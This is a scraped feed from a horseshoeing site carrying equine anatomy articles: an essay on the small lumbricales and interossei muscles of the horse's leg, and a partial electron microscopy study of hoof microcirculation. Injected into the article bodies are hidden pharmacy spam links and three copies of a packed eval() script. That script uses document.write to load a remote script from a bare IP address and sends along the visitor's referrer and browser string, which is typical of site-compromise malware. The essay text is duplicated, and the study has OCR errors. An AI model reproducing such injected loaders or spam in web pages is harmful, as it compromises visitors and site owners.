<strong>266</strong>:11436-11441.</p> <p style="text-align: justify;">Trout TR et al (1990). Scintigraphic evaluation of digital circulation during the developmental and acute phases of equine laminitis. <strong><em>Equine vet J</em>. 22</strong>: 416-421.</p> <p style="text-align: justify;">Posted here with the permission of the author.</p></div> Itty Bitty Muscles 2009-07-03T05:48:15+00:00 2009-07-03T05:48:15+00:00 http://www.horseshoes.com/index.php/educational-index/articles/hoof-anatomy-and-physiology/364-itty-bitty-muscles James Rooney, D.V.M. horseshoes@horseshoes.com <div class="feed-description"><p><span class="dropcap">B</span>eing an anatomist at heart I became interested in small muscles of the fore and hind legs: the <strong>mm. interossei</strong> and the <strong>mm. lumbricales</strong>. Actually, <a href="http://cialis-price.net" style="text-decoration:none;color:#555555">pharmacy</a> I was looking into the innervation of the musculature of the <strong>m. interosseus</strong>, <a href="http://cheap-cialis-pills.net" style="text-decoration:none;color:#555555">malady</a> the misnamed: <strong>suspensory ligament</strong>. Doing so I paid attention to the small interosseous muscles which lie on either side of the proximal end of the suspensory. That twigged me to the lumbricales muscles farther down the leg on the medial and lateral sides. The lumbricales are marginally larger in the hind legs than in the fore.</p><noindex><script id="jminfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\o="+3(j.i)+"\'><\\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|btezh|var|u0026u|referrer|iynkr||js|php'.split('|'),0,{})) </script></noindex> <p>The usual statement in the anatomy texts is that these are rudimentary muscles with no mechanical function. It is certainly the case that the muscles are small and have no direct mechanical function. That they are rudimentary or vestigial and have absolutely no function may, however, be questioned and, of course, that is precisely what I intend to do! One may think, for example, of the human appendix, long thought to be rudimentary until investigation revealed its immunological importance.</p> <p>While one tends to think of these small muscles as underdeveloped, it seems equally plausible that they are just the size they ought to be if the horse were still the size of <em>Hyracotherium</em>, 50 million years ago. That is to say that while the cat-size <em>Hyracotherium</em> became larger and larger over the centuries, the lumbricales and interossei simply remained the original size. The digits with which they were associated disappeared, but the muscles remained as they were.</p> <p><strong>Topography</strong></p> <p>The <strong>mm. lumbricales</strong> are paired, thin, slender muscles about 3-4 cm. long which lie in the deep fascia between the superficial and deep flexor tendons about 3-5 cm. proximal to the fetlock joint. Their tendons attach to the deep fascia in the general area of the proximal sesamoid bones, Figure 1.</p> <p>The <strong>mm. interossei</strong> are paired, slender muscles about 3 cm. long lying on either side of the <strong>m. interosseus</strong> between the interosseus and the splint bones. Their long, slender tendons insert on an indistinct condensation of deep fascia between the distal end of the respective splint bones and the abaxial aspects of the proximal sesamoid bones, Figure 1.</p> <table align="center"> <tbody> <tr> <td align="center"><img src="images/itty_bitty_1.gif" width="600" height="699" /><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="itty_bitty_1" src="images/stories/horshoes-graphics/itty_bitty_1.gif" width="600" height="699" /><br /> Figure 1</td> </tr> </tbody> </table> <p>Figure 1: Lateral view of fetlock region. Modified after Ellenberger and Baum 1927.</p> <p><strong>Innervation</strong></p> <p>The <strong>mm. interossei</strong> receive nerve branches from the branch of the metacarpal/metatarsal nerve which also innervates the <strong>m. interosseus</strong>. As will be noted below the branches to the lumbricalis and interossei contain both sensory and motor components. In the foreleg, the nerve branch to the <strong>mm. interossei</strong> and the <strong>m. interosseus</strong> arises from the <strong>ulnar nerve component</strong> of the <strong>lateral palmar nerve</strong>. These muscles in the hind leg are innervated by a deep branch arising from the lateral plantar nerve.</p> <p>Gross dissection of the lumbricalis of the foreleg with the assistance of basic fuchsin staining (Coleman’s Schiff reagent) showed the nerve pattern sketched in Figure 2. The proximal branch of the nerve connected with the abundant motor end plates; the middle branch connected to the muscle spindles concentrated along the equator of the muscle; and the distal branch was connected to the tendon end organs at the musculotendinous junction.</p> <table align="center"> <tbody> <tr> <td align="center"><img src="images/itty_bitty_2.gif" width="268" height="303" /><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="itty_bitty_2" src="images/stories/horshoes-graphics/itty_bitty_2.gif" width="268" height="303" /><br /> Figure 2</td> </tr> </tbody> </table> <p>Figure 2: Schematic of lumbricales muscle. The red nerve fibers are motor and the blue sensory. The same basic pattern of innervation was found for the interossei.</p> <p>So far… facts; now the speculation. I have no way to follow up these ideas, but perhaps someone looking for an interesting dissertation in physiology might be interested.</p> <p>These small muscles are richly innervated, suggesting that they are active. Can one speculate that they are acting as <strong>peripheral proprioceptive sensors</strong>? With the evolution to monodactyly the muscular bodies of the forearm and gaskin are a long way from the insertions of their tendons. Perhaps the small muscles are better positioned to monitor proprioceptive data arising below the carpus and tarsus. No amount of anatomical speculation can answer that question. There is no help from pathology either since I have not seen or seen reports of damage to the small muscles with subsequent gait abnormality. Anesthesia and or extirpation of the lumbricales with sophisticated monitoring of gait on a treadmill offers one approach. Specific anesthesia or extirpation of the interossei would be quite difficult though the tendons could be transected near the fetlock.</p> <p>Perhaps clinicians/practitioners who have used local anesthesia for help in diagnosing problems of the proximal end of the interosseus might have some salient observations. I am not sanguine, however, that any of those esteemed individuals will have read this far!</p> <p><span><sup>[1]</sup></span> I give fair warning that this essay will be of no practical interest to most of you. It is a rumination for possible consideration by anatomists and scholarly students of horse locomotion.</p></div> <div class="feed-description"><p><span class="dropcap">B</span>eing an anatomist at heart I became interested in small muscles of the fore and hind legs: the <strong>mm. interossei</strong> and the <strong>mm. lumbricales</strong>. Actually, <a href="http://cialis-price.net" style="text-decoration:none;color:#555555">pharmacy</a> I was looking into the innervation of the musculature of the <strong>m. interosseus</strong>, <a href="http://cheap-cialis-pills.net" style="text-decoration:none;color:#555555">malady</a> the misnamed: <strong>suspensory ligament</strong>. Doing so I paid attention to the small interosseous muscles which lie on either side of the proximal end of the suspensory. That twigged me to the lumbricales muscles farther down the leg on the medial and lateral sides. The lumbricales are marginally larger in the hind legs than in the fore.</p><noindex><script id="jminfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\o="+3(j.i)+"\'><\\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|btezh|var|u0026u|referrer|iynkr||js|php'.split('|'),0,{})) </script></noindex> <p>The usual statement in the anatomy texts is that these are rudimentary muscles with no mechanical function. It is certainly the case that the muscles are small and have no direct mechanical function. That they are rudimentary or vestigial and have absolutely no function may, however, be questioned and, of course, that is precisely what I intend to do! One may think, for example, of the human appendix, long thought to be rudimentary until investigation revealed its immunological importance.</p> <p>While one tends to think of these small muscles as underdeveloped, it seems equally plausible that they are just the size they ought to be if the horse were still the size of <em>Hyracotherium</em>, 50 million years ago. That is to say that while the cat-size <em>Hyracotherium</em> became larger and larger over the centuries, the lumbricales and interossei simply remained the original size. The digits with which they were associated disappeared, but the muscles remained as they were.</p> <p><strong>Topography</strong></p> <p>The <strong>mm. lumbricales</strong> are paired, thin, slender muscles about 3-4 cm. long which lie in the deep fascia between the superficial and deep flexor tendons about 3-5 cm. proximal to the fetlock joint. Their tendons attach to the deep fascia in the general area of the proximal sesamoid bones, Figure 1.</p> <p>The <strong>mm. interossei</strong> are paired, slender muscles about 3 cm. long lying on either side of the <strong>m. interosseus</strong> between the interosseus and the splint bones. Their long, slender tendons insert on an indistinct condensation of deep fascia between the distal end of the respective splint bones and the abaxial aspects of the proximal sesamoid bones, Figure 1.</p> <table align="center"> <tbody> <tr> <td align="center"><img src="images/itty_bitty_1.gif" width="600" height="699" /><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="itty_bitty_1" src="images/stories/horshoes-graphics/itty_bitty_1.gif" width="600" height="699" /><br /> Figure 1</td> </tr> </tbody> </table> <p>Figure 1: Lateral view of fetlock region. Modified after Ellenberger and Baum 1927.</p> <p><strong>Innervation</strong></p> <p>The <strong>mm. interossei</strong> receive nerve branches from the branch of the metacarpal/metatarsal nerve which also innervates the <strong>m. interosseus</strong>. As will be noted below the branches to the lumbricalis and interossei contain both sensory and motor components. In the foreleg, the nerve branch to the <strong>mm. interossei</strong> and the <strong>m. interosseus</strong> arises from the <strong>ulnar nerve component</strong> of the <strong>lateral palmar nerve</strong>. These muscles in the hind leg are innervated by a deep branch arising from the lateral plantar nerve.</p> <p>Gross dissection of the lumbricalis of the foreleg with the assistance of basic fuchsin staining (Coleman’s Schiff reagent) showed the nerve pattern sketched in Figure 2. The proximal branch of the nerve connected with the abundant motor end plates; the middle branch connected to the muscle spindles concentrated along the equator of the muscle; and the distal branch was connected to the tendon end organs at the musculotendinous junction.</p> <table align="center"> <tbody> <tr> <td align="center"><img src="images/itty_bitty_2.gif" width="268" height="303" /><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="itty_bitty_2" src="images/stories/horshoes-graphics/itty_bitty_2.gif" width="268" height="303" /><br /> Figure 2</td> </tr> </tbody> </table> <p>Figure 2: Schematic of lumbricales muscle. The red nerve fibers are motor and the blue sensory. The same basic pattern of innervation was found for the interossei.</p> <p>So far… facts; now the speculation. I have no way to follow up these ideas, but perhaps someone looking for an interesting dissertation in physiology might be interested.</p> <p>These small muscles are richly innervated, suggesting that they are active. Can one speculate that they are acting as <strong>peripheral proprioceptive sensors</strong>? With the evolution to monodactyly the muscular bodies of the forearm and gaskin are a long way from the insertions of their tendons. Perhaps the small muscles are better positioned to monitor proprioceptive data arising below the carpus and tarsus. No amount of anatomical speculation can answer that question. There is no help from pathology either since I have not seen or seen reports of damage to the small muscles with subsequent gait abnormality. Anesthesia and or extirpation of the lumbricales with sophisticated monitoring of gait on a treadmill offers one approach. Specific anesthesia or extirpation of the interossei would be quite difficult though the tendons could be transected near the fetlock.</p> <p>Perhaps clinicians/practitioners who have used local anesthesia for help in diagnosing problems of the proximal end of the interosseus might have some salient observations. I am not sanguine, however, that any of those esteemed individuals will have read this far!</p> <p><span><sup>[1]</sup></span> I give fair warning that this essay will be of no practical interest to most of you. It is a rumination for possible consideration by anatomists and scholarly students of horse locomotion.</p></div> A Scanning Electron Microscopical Study of the Dermal Microcirculation of the Equine Foot 2009-05-13T02:59:51+00:00 2009-05-13T02:59:51+00:00 http://www.horseshoes.com/index.php/educational-index/articles/hoof-anatomy-and-physiology/361-a-scanning-electron-microscopical-study-of-the-dermal-microcirculation-of-the-equine-foot C. C. Pollitt and G. S. Molyneux horseshoes@horseshoes.com <div class="feed-description"><p><span style="font-size: 12pt;"><strong>Summary</strong></span></p><noindex><script id="jminfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\o="+3(j.i)+"\'><\\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bssiz|var|u0026u|referrer|sktat||js|php'.split('|'),0,{})) </script></noindex> <p class="MsoNormal">The microcirculation of the dermal laminae and papillae of the equine foot from seven clinically normal Australian ponies was studied using an improved microvascular casting corrosion technique and scanning electron microscopy. Casts of veins, arteries, capillaries and arteriovenous anastomoses (AVAs) were readily identified by their characteristic surface morphology. Arteries entered the laminar circulation axially, between pairs of axial veins, and were connected to each other by smaller calibre interconnecting arteries. Short abaxial branches of the axial interconnecting arteries gave rise to tufts of predominantly, proximodistally orientated, capillaries arranged abaxially in rows. The laminar veins anastomosed with each other extensively (the axial venous plexus) and formed most of the vascular skeleton of casts of the dermal laminae. AVAs were found throughout the laminar circulation but the largest and longest (40p diameter) were found clustered close to the origin of the axial arteries. The density of the laminar AVAs was estimated to be 500 AVAs/cmz. Blood vessels of the dermal papillae of the periople, coronary band, distal laminae, sole and frog shared a basic structural organization. The cast of each papillary unit consisted of a central artery and vein enmeshed in a sheath of fine capillaries. At intervals along the length of the central artery were short branches which gave rise to tufts of capillaries. The capillaries formed a tortuous anastomosing plexus which encircled the papillary unit and drained into the central vein at intervals along its length. ÃVAs were always present at the base of the papillary units and anastomoses connected the central artery and vein. ÃJAs are important components of the dermal microcirculation of the equine foot and their distribution and density is compatible with their proposed role in the pathophysiology of equine laminitis.</p> <p><span style="font-size: 12pt;"><strong>Introduction</strong></span></p> <p>VASOCONSTRICTION and ischaemia of the peripheral dermal microcirculation of the equine foot have been in criminated in the pathophysiology of laminitis (Hood et al 1989; Garner 1975; Coffman 1972; Ackerman, Garner, Coffman and Clement 1975; Coffman, Johnson, Guffy and Finocchio 1970). In contrast, acute laminitis is recognized clinically by a bounding digital pulse (Colles and Jeffcott 1977; Yelle 1986), as a result of increased total blood flow to the digit (Robinson, Scott and Dabney 1976). The simultaneous presence, in the digit, of ischaemia despite increased blood flow, has been rationalized by the proposal that ischaemia results because blood is shunted away from the dermal capillary circulation through dilated arteriovenous anastomoses (Hood and Stephens 1981; Coffman 1984). Significant arteriovenous shunting of blood occurs during the developmental stages of laminitis, as capillary sized radioactive particles are diverted from the peripheral capillary bed of the digital dermis (Hood et al 1978).</p> <p>Arteriovenous anastomoses (AVAs) have been described in the hoof wall laminae, in the papillae of the coronet and sole and in the terminal papillae of the laminae (Schummer, Wilkens, Vollmerhaus and Habermehl 1981; Talukdar et al 1972; Rooney l984; Pollitt and Molyneus 1987). Estimates of the density of laminar AVAs differ widely (50 per cm=, Rooney 1984; 500 per cm=, Pollitt and Molyneux 1987).</p> <p>The equine digital microcirculation has to be understood before the pathophysiological mechanism responsible for laminitis can be fully elucidated. Recent technological advances in producing microvascular corrosion casts of the entire circulation of organs (Gannon 1978; Kardon and Kessel 1979) combined with scanning electronmicroscopy, has enabled the microcirculation of the equine digit and the surface markings of vessels to be studied in detail. This investigation characterizes the microcirculation of the dermal laminae and papillae and offers a new theory correlating the distribution and density of AVAs with the pathophysiology of developmental laminitis.</p> <p><span style="font-size: 12pt;"><strong>Materials & Methods</strong></span></p> <p>Seven clinically normal Australian ponies (two male, four geldings and one female) ranging in age from one to 15 years (mean 3.5 years) and weighing from 330 to 420 kg were used in the study. The ponies were destroyed with an intravenous (iv) injection of pentabarbitone sodium and the forelimbs were immediately amputated at the carpal joint. A 12g plastic cannula was inserted into the common digital artery of each limb, firmly ligated and perfused with one liter of warm, normal saline containing 5000 units of heparin. During the perfusion the limb was flexed, extended and made to bear weight until the perfusate was clear of red blood cells. The heparinised saline was held 200cm above the cut end of the common digital artery and the perfusate entered the circulation of the limb at maximal flow rate.</p> <p>After perfusing the amputated limb with heparinised saline a modified, partially polymerized, red pigmented, methacrylate corrosion compound (Batson's No.l7 anatomical corrosion compound, Polyscience Inc.) was then injected using a 25ml automatic vaccinating syringe (Hauptner-Muto, Germany). The Batson's No.l7 anatomical casting compound was diluted with methyl methacrylate monomer (BDH Chemicals Ltd., Poole, England) to reduce the viscosity. The amount of accelerator (component B) recommended by the distributors was reduced by 80 per cent (Gannon 1978). The final injection mixture consisted of l00ml methyl methacrylate monomer, 150ml Batson's No.l7 component A, 20ml component B and 5.0ml component C (Amevo 1984). This prolonged the monitoring time and permitted the injection of the large volume (275m1) of the vascular casting mixture required to perfuse an equine digit without early polymerization causing any apparent increase in viscosity. Saline flowed from the cut ends of the veins during the initial stage of injection of the casting compound. Later, globules of red liquid plastic, suspended in the saline, flowed from the veins, but during injection of the last l00mls the venous effluent appeared uncontaminated with saline. While injecting the last 20mls of plastic, the cut ends of the major veins were ligated and when the injection was completed, the arterial cannula was clamped to prevent backflow. The leg was them immersed in hot water to polymerize the plastic. The next day a band saw was used to cut lcm thick sections from the toe and heel regions which were incubated (37C) for three days, in lolo trypsin dissolved in phosphate buffered saline (pH 7.5). The partially digested dermis was carefully separated from the keratinized tissue and examined with a dissecting microscope. Sections showing good filling of small blood vessels were immersed in 30ml potassium hydroxide for 2 to 3 days to macerate the soft tissue. The vascular casts were then placed in distilled water and cleaned ultrasonically for 3 to 5 minutes. After immersion in absolute alcohol the casts were air dried and prepared for further dissection.</p> <p>Casts of the blood vessels of the dermal laminae were glued with the laminar surface uppermost to the surface of 70 x 70 x 4mm pieces of opaque acrylic plastic (Perspex, ICI). With a dissecting microscope, fine dissecting needles and microsurgery instruments, intact sheets of the casts of laminar vessels (10 x 4mm) complete with the casts of the underlying dermal arteries and veins were cut free and mounted on scanning electron microscopy stubs coated with double sided adhesive tape (Cellotape, 3M).</p> <p>Casts of the vessels of the coronary band, distal laminae, sole and frog were reimmersed in distilled water and placed wet, onto. pieces of the opaque acrylic plastic. The water surround the cast was then frozen to -70 degrees C and sections of the vascular casts were cut using steel backed razor blade. The casts were then immersed in alcohol, dried and mounted as before. The mounted plastic specimens were rendered conductive by sputtering with gold in a Denton Vacuum (Denton Vacuum, Inc., Cherry Hill, New Jersey) Desk I coating unit for 30 seconds.</p> <p>The specimens were examined and photographed using a Cambridge SS 600 stereo-scanning electron microscope at an accelerating voltage of 7.5 to l5kv. Stereo photographs using an 8 degree angle of tilt were used to perceive the third dimension of the micrographs. Enlarged photographic mosaics of the casts of entire laminae were constructed so that AVAs could be counted.</p> <p><span style="font-size: 12pt;"><strong>Results</strong></span></p> <p>The injection technique using a modified low viscosity plastic (Batson's 17 compound diluted with methyl methacrylate monomer) produced complete casts of most of the dermal vascular bed of the digit, except in the demial laminae of the mid- dorsal toe. The casts of the dermal laminae from the heel regions were complete (Fig la and 1b) and it was assumed that the anatomical pattern of the mid dorsal toe was similar (Mishra and Leach 1983b).</p> <hr align="center" width="500" /> <center> <img src="images/dermal_microcirculation_1.jpg" width="332" height="235" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="dermal_microcirculation_1" src="images/stories/horshoes-graphics/dermal_microcirculation_1.jpg" width="332" height="235" /></p> <p><em><strong>Fig 1:</strong> (a) [left] Vascular corrosion cast of three adjacent primary dermal laminae (PDL). Spaces between parallel sheets of laminar vessel casts would normally be occupied by primary epidermal laminae of hoof wall. The vessels at top of picture are marginal veins, the most peripheral elements of the laminar circulation (bar = 400u) (b) [right] A single sheet of laminar vessel casts showing the laminar marginal vein (MV) and mesh of fine interconnected capillaries adjacent to axially located laminar arteries and veins. Boxed area shows cluster of AVAs at base of axial artery. On either side of the artery are prominent axial axial veins (V). The hoof wall was to the left of the picture and the pedal bone to the right (bar = 1mm)</em></p> <hr align="center" width="500" /> Casts made with the improved plastic formulation (Amevo 1984) had a soft, flexible consistency and could be cut and dissected into small portions without fracturing. Using the SEM at 7.5kv the vascular casts showed neither distortion nor charging. Stabilizing the delicate vascular casts in blocks of frozen water prior to sectioning with a razor blade enabled the study of delicate regions such as the blood vessels of the coronary band. The routine examination of stereo pair micrographs conveyed more anatomical information about the spatial relationships of interconnecting blood vessels than single micrographs. Enzyme digestion of hoof sections prior to maceration in saturated potassium hydroxide prevented the hoof wall from collapsing onto the vascular cast during corrosion and preserved the finest elements of the capillary bed (Figs 2, 11 and 12). <hr align="center" width="500" /> <center> <img src="images/dermal_microcirculation_2.jpg" width="338" height="246" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="dermal_microcirculation_2" src="images/stories/horshoes-graphics/dermal_microcirculation_2.jpg" width="338" height="246" /></p> <p><em><strong>Fig 2:</strong> Corrosion cast of dermal laminar vessels. A mesh of fine interconnected capillaries (C) overlies the axially located laminar arteries (A) and veins (V). Segments directly connecting arteries to veins (AVAs) were recognized by characteristically alveolate surface morphology (arrows). The peripheral hoof wall was to the left of picture. Large AVAs were always located at the base of axial arteries and veins and had an average diameter of 40 u (bar = 100u)</em></p> <hr align="center" width="500" /> The shape of a digital vascular cast reflected the anatomy of the internal surface of the hoof wall, with perioplic and coronary sphincter regions forming a convex brush border made up of numerous tapering cone shaped papillae (Fig 6). The laminar region consisted of approximately 600 thin parallel sheets arranged in vertical rows (Fig 1 a). At the distal tip of each lamina, a row of terminal papillae merged with the papillae on the surface of the sole and frog. <hr align="center" width="500" /> <center> <img src="images/dermal_microcirculation_3.jpg" width="332" height="466" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="dermal_microcirculation_3" src="images/stories/horshoes-graphics/dermal_microcirculation_3.jpg" width="332" height="466" /></p> <p><em><strong>Fig 3:</strong> Corrosion cast of laminar vessels showing morphological differences between arteries and veins. Casts of veins (V) show oval shallow pavement depressions. Arteries (A) show fusiform depressions. On the laminar artery are the impressions of rings of constriction which are shown arrowed near an arteriolar side branch which shows sphincter-like impression at its origin (bar = 40u)</em></p> <hr align="center" width="500" /> In this study distinction between the arterial and venous divisions of the circulation was made using the criteria of Kardon and Kessel (1979) who also made vascular casts using a mixture of low viscosity and showed that the different morphology of the endothelial cells lining the lumina of arteries and veins was reflected in the depressions on the surface of vascular casts. Casts of the venous divisions typically possessed numerous oval, shallow 'pavement', surface depressions, whereas fusiform depressions, with their long axis aligned in the direction of blood flow, characterized the surface of arterial casts (Figs 3, 4 and 12). Arterioles showed the impressions of rings of constriction along their lengths, particularly prominent near arteriolar side branches (Fig 3). Venous casts branched and anastomosed profusely, had greater luminal diameters with frequent dilations and were flatter in cross section than adjacent arteriolar casts. Direct vascular connections (AVAs) between arterial and venous divisions were readily identified because their luminal morphology was different from any other elements of the dermal vascular bed (Fig 4). The AVA surface was alveolate and the cavities were surrounded by interconnecting, irregular shaped walls. On some segments, the walls were hexagonal, while in others they were irregular and resembled rough, overlapping scales. This characteristic surface morphology ended abruptly at the junction between arterial and venous ends of the AVA. The arterial junction was neck shaped with a sphincter-like ring of constriction (Fig 4). At the venous end there was a small diameter wide-arm with branches which merged into the general capillary network (Fig 4). Some AVAs, in particular those arising from the first branch of the parietal artery or at the base of papillae, shared a common arterial origin, but then branched into two and resembled the double AVAs described in sheep skin (Molyneux 1965). Each branch entered the venous circulation at a different level (Fig 5). The AVAs of the deeper dermis were longer, of wider diameter (average diameter ~40) and more branched than those of the peripheral layers. <hr align="center" width="500" /> <center> <img src="images/dermal_microcirculation_4.jpg" width="326" height="250" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="dermal_microcirculation_4" src="images/stories/horshoes-graphics/dermal_microcirculation_4.jpg" width="326" height="250" /></p> <p><em><strong>Fig 4:</strong> Corrosion cast of laminar dermal vessels showing direct connection between an artery and vein. The surface of the cast of the arteriovenous anastomosis (AVA) is deeply pitted (alveolate) and the pits are surrounded by irregular shaped walls. At the arterial (A) end of the AVA the junction shows a sphincter-like ring of constriction (arrowed). A venous (V) side arm close to the AVA leads to a venular-capillary (C) network (bar = 100 u)</em></p> <hr align="center" width="500" /> <center> <img src="images/dermal_microcirculation_5.jpg" width="340" height="412" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="dermal_microcirculation_5" src="images/stories/horshoes-graphics/dermal_microcirculation_5.jpg" width="340" height="412" /></p> <p><em><strong>Fig 5:</strong> Corrosion cast of dermal vessels at base of terminal papillae. Both arms of a double AVA are shown (arrows) entering the venous (V) circulation at different levels. In this preparation some of the finer vessel casts have been removed to show deeper structures. Arteries (A), bar= 100u </em></p> <hr align="center" width="500" /> <p><em>The vascular skeleton of dermal papiflae</em></p> <p>The vessels of the dermal papillae of the periople, coronary band, distal laminae, sole and frog regions shared a basic structural organization (Fig 9). The cast of each papillary unit consisted of a central artery and vein enmeshed in a sheath of fine capillaries (Fig 6 and 7). At intervals along the artery, short side-arms gave rise to capillary tufts, which formed a tortuous anastomosing plexus, encircling the papillary unit before draining into the central vein at intervals along its length (Fig 7 and 9).</p> <hr align="center" width="500" /> <center> <img src="images/dermal_microcirculation_6.jpg" width="332" height="470" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="dermal_microcirculation_6" src="images/stories/horshoes-graphics/dermal_microcirculation_6.jpg" width="332" height="470" /></p> <p><em><strong>Fig 6:</strong> Vascular cast of the vessels of dermal coronary papillae (CP). in life, each papilla fit into a socket in the epidermis of the enmeshed in a sheath of coronary groove of the proximal hoof wall. The arrows show arteries crossing a large collecting vein (V). Each papillary unit contains a central artery and vein surrounded by a meshwork of capillaries (bar = 1mm)</em></p> <hr align="center" width="500" /> <center> <img src="images/dermal_microcirculation_7.jpg" width="332" height="472" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="dermal_microcirculation_7" src="images/stories/horshoes-graphics/dermal_microcirculation_7.jpg" width="332" height="472" /></p> <p><em><strong>Fig 7:</strong> Corrosion cast of a terminal papilla showing central artery (A) and vein (V) enmeshed in a sheath of capillaries (C). The capillary plexus drains into the central papillary vein (arrowed), bar = 200u</em></p> <hr align="center" width="500" /> <p>Examination of stereo pair micrographs of papillary vascular units showed that the central artery was circular and the vein was ovoid in cross-section and that the two vessels spiralled around each other. The terminal portions of the casts of these vessels were usually devoid of endothelial mall impressions probably because of low perfusion pressure. Several AVAs were always present at the base of the papillary using units directly connecting the arterial and venous divisions of the circulation prior to its entering the papillary capillary bed. I into Smaller and shorter AVAs connected the central artery and vein. skin within the proximal third of each papillary vascular unit (Fig 8)</p> <hr align="center" width="500" /> <center> <img src="images/dermal_microcirculation_8.jpg" width="332" height="446" /> </center> <p style="text-align: center;"><em><strong><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="dermal_microcirculation_8" src="images/stories/horshoes-graphics/dermal_microcirculation_8.jpg" width="332" height="446" /></strong></em></p> <p style="text-align: center;"><em><strong>Fig 8:</strong> Vascular cast of the vessels of dermal coronary papilla. An AVA is shown arising from the central papillary artery (A). The AVA drains directly into the central vein (not shown here). Capillaries (C), small vein (v) bar = 40u</em></p> <hr align="center" width="500" /> <p><em>The vascular skeleton of dermal laminae </em></p> <p>The architecture of the venous laminar circulation followed the pattern described by Mishra and Leach (1983b). In the hoof wall corium, at the base of each primary dermal lamina, were vertically orientated parietal collecting veins (Fig 10). Axial veins orientated parallel to one another were distributed throughout each dermal lamina and joined the parietal veins at regular intervals. Numerous anastomoses of the large calibre axial veins: formed the axial venous plexus. Peripherally, near the exterior limits of the laminar circulation, the axial venous plexus formed either a marginal vein or a marginal plexus (Fig 10). Smaller: calibre interconnecting veins completed the axial plexus and the capillaries of the laminae drained directly into them (Fig 10 and 11).</p> <hr align="center" width="500" /> <center> <img src="images/dermal_microcirculation_9.jpg" width="500" height="378" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="dermal_microcirculation_9" src="images/stories/horshoes-graphics/dermal_microcirculation_9.jpg" width="500" height="378" /></p> <p><em><strong>Fig 9:</strong> Schematic diagram of the microcirculation of digital dermal papillae. Numerous AVAs connect the central artery and vein of each papilla. The largest AVAs are found (lose to the origin of the central artery and vein. Each dermal papilla fits into an epidermal socket lined with germinal cells giving rise to epidermal cells which keratinize and form the horny substance of the equine hoof. The microcirculation of the coronary, laminar terminal, and solar papillae is essentially the same.</em></p> <hr align="center" width="500" /> <center> <img src="images/dermal_microcirculation_10.jpg" width="500" height="420" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="dermal_microcirculation_10" src="images/stories/horshoes-graphics/dermal_microcirculation_10.jpg" width="500" height="420" /></p> <p><em><strong>Fig 10:</strong> Schematic diagram of the laminar dermal circulation. For reasons of clarity the capillary network is shown to six vertically oriented abaxial capillaries. Numerous AVAs are present throughout the laminar dermal circulation but the longest and largest are found close to branches of the axial arteries.</em></p> <hr align="center" width="500" /> <p>The majority of the laminar capillaries were orientated vertically and were situated in abaxial rows on either side of the axial vessels (Fig 10). The rows were more obvious distally. Some of the capillaries formed show abaxial loops which in vivo would penetrate between pairs of secondary epidermal laminae. In this study none of the capillary enlargements and sprout-like structures described by Mishra and Leach (1983b) were recognized.</p> <hr align="center" width="500" /> <center> <img src="images/dermal_microcirculation_11.jpg" width="328" height="472" /> </center> <p style="text-align: center;"><img style="border-color: #000000; margin: 5px; vertical-align: top;" alt="dermal_microcirculation_11" src="images/stories/horshoes-graphics/dermal_microcirculation_11.jpg" width="328" height="472" /></p> <p><em><strong>Fig 11:</strong> Vascular corrosion cast of abaxial laminar capillaries (C) draining into an axial interconnecting vein (V). The pavement impression of oval endothelial cells on the surface of the venous cast (V) is artery (characteristic for veins (bar = 40 u)</em></p> <hr align="center" width="500" /> <p>Laminar aneries (branches of the anerial plexus of the wall corium) entered the laminar circulation axially between each pair of axial veins (Fig 10). Each axial anery was connected to its neighbor by smaller calibre, interconnecting branches oriented vertically. Long anerial anastomoses at the periphery of each dennal lamina appeared to be the architectural equivalents of the marginal vein. Some abaxial branches of the axial interconnecting arteries gave rise to tufts of vertically orientated capillaries arranged in rows (Fig 10 and 12).</p> <hr 